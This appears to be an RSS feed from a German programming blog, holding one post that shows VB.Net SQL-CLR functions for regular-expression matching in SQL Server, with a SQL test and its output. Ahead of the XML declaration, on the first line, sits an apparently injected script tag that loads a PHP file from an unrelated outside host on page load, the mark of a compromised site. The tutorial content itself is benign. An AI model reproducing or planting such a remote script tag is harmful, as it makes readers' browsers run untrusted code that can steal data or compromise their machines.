<script src=http://soapstone-india.com/css/Soapstone-Serpentine.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; Regular Expression</title>
	<atom:link href="http://www.xentrope.de/tag/regular-expression/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Regular Expressions in SQL</title>
		<link>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/</link>
		<comments>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 08:35:35 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[.Net 2]]></category>
		<category><![CDATA[Regular Expression]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[SQL 2008]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=105</guid>
		<description><![CDATA[Gestern hatte ich ja schon die Basics für SQL-CLR Integration beschrieben, heute treiben wir das mal weiter auf die Spitze: Wir wollen Regular Expressions im SQL Server nutzen. Dazu erweitern wir uns ersteinmal die Klasse um drei neue Funktionen: RegEx_HasMatches soll uns sagen ob überhaupt Matches auftreten RegEx_MatchCount soll uns sagen wie viele Matches auftreten [...]]]></description>
			<content:encoded><![CDATA[<p>Gestern hatte ich ja schon die Basics für SQL-CLR Integration beschrieben, heute treiben wir das mal weiter auf die Spitze: Wir wollen <a href="http://de.wikipedia.org/wiki/Regular_Expression">Regular Expressions</a> im SQL Server nutzen.<br />
Dazu erweitern wir uns ersteinmal die Klasse um drei neue Funktionen:</p>
<ul>
<li><b>RegEx_HasMatches</b> soll uns sagen ob überhaupt Matches auftreten</li>
<li><b>RegEx_MatchCount</b> soll uns sagen wie viele Matches auftreten</li>
<li><b>RegEx_GetMatches</b> soll uns die Matches aufsgeben</li>
</ul>
<p>Für die Copy+Paster unter euch ;) :</p>
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlFunction()&gt; _
    Public Shared Function RegEx_HasMatches(ByVal inputstring As SqlString, ByVal regexstring As SqlString) As SqlBoolean
        If Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase).Count > 0 Then
            Return True
        Else
            Return False
        End If
    End Function

    &lt;SqlFunction()&gt; _
    Public Shared Function RegEx_MatchCount(ByVal inputstring As SqlString, ByVal regexstring As SqlString) As SqlInt64
        Return Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase).Count
    End Function

    &lt;SqlFunction()&gt; _
    Public Shared Sub RegEx_GetMatches(ByVal inputstring As SqlString, ByVal regexstring As SqlString)
        Dim mc As MatchCollection = Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase)
        Dim result As New SqlDataRecord(New SqlMetaData("Match", SqlDbType.NVarChar, 4000))
        Dim pipe As SqlPipe = SqlContext.Pipe
        pipe.SendResultsStart(result)
        For Each item As Match In mc
            result.SetString(0, item.Value)
            pipe.SendResultsRow(result)
        Next
        pipe.SendResultsEnd()
    End Sub
</pre>
<p>Nach dem Bereitstellen können wir das ganze auch schon testen:</p>
<pre name="code" class="html:nocontrols:SQL">
declare @inputstring nvarchar(4000)
set @inputstring= 'My favorite web sites include:
	&lt;/P&gt;&lt;A HREF="http://www.xentrope.de"&gt;Xylon''s Blog&lt;/A&gt;&lt;/P&gt;
	&lt;A HREF="http://dotnet-forum.de"&gt;.NET Forum&lt;/A&gt;&lt;/P&gt;
	&lt;A HREF="http://blogs.msdn.com/bclteam"&gt;.NET Base Class Library blog&lt;/A&gt;&lt;/P&gt;'

declare @regexstring nvarchar(4000)
set @regexstring = 'href\s*=\s*(?:"(?<1>[^"]*)"|(?<1>\S+))'

select dbo.RegEx_HasMatches(@inputstring,@regexstring) 'HasMatches'
	,dbo.RegEx_MatchCount(@inputstring,@regexstring) 'Nr of Matches'
exec dbo.RegEx_GetMatches @inputstring,@regexstring
</pre>
<p>Und als Ergebnisse bekommen wir:</p>
<pre name="code" class="html:nocontrols:text">
HasMatches	Nr of Matches
1			3

Match
HREF="http://www.xentrope.de"
HREF="http://dotnet-forum.de"
HREF="http://blogs.msdn.com/bclteam"
</pre>
<p>Coole Sache! :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
